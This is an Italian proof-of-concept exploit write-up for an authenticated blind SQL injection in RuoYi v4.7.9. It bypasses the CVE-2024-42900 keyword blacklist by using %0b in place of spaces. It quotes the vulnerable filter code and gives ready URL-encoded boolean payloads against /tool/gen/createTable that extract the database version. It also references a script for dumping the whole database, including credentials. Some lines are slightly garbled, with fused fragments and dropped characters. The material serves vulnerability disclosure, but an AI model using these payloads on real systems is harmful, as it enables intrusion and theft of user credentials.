
Exploit proof-of-concept per Blind SQL injection su RuoYi v4.7.9, che bypassa il filtro CVE-2024-42900 per scaricare database tramite iniezione booleana autenticata.
Ho scoperto una vulnerabilità di Blind SQL Injection nella funzionalità createTable del framework RuoYi v4.7.9. Ciò consente a un amministratore autenticato di eseguire comandi SQL arbitrari tramite il parametro sql. Si tratta di un bypass della correzione di CVE-2024-42900 poiché il filtro SQL Injection nel metodo filterKeyword è insufficiente; la regex può essere aggirata utilizzando %0b come carattere alternativo agli spazi.
Prodotto: RuoYi Framework
Versione: ≤ 4.7.9
Link: [Ruoyi]
La vulnerabilità è stata trovata nel file https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java come segue. L'applicazione si basa su parole chiave in blacklist per filtrare gli attacchi SQL Injection; questo approccio è soggetto a bypass. In questo caso, per correggere CVE-2024-42900, la stringa è stata aggiunta alla blacklist, ma l'applicazione ancora non blocca il carattere , quindi posso usarlo per innescare SQL Injection con .
/*%0bselect%0bpublic class SqlUtil
{
/**
* 定义常用的 sql关键字
*/
public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
// Note the space after 'select '
public static void filterKeyword(String value)
{
if (StringUtils.isEmpty(value))
{
return;
}
String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
for (String sqlKeyword : sqlKeywords)
{
if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
{
throw new UtilException("参数存在SQL注入风险");
}
}
}
}
La regex select corrisponde a select (seguito da uno spazio). Non corrisponde a select%0b, che è un separatore valido in SQL.
/tool/gen/createTable)
sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
Attenzione: È necessario cambiare il nome della tabella nella query CREATE dopo ogni query riuscita.
3. Con la SQL Injection basata su booleani, i dati possono essere esfiltrati utilizzando il [poc] Python in questo repo
Utilizzo

Esfiltra versione DB poc

Un attaccante con privilegi amministrativi può scaricare l'intero database, comprese le credenziali di altri utenti e le configurazioni di sistema.
%0b.select invece di select (rimuovere lo spazio finale)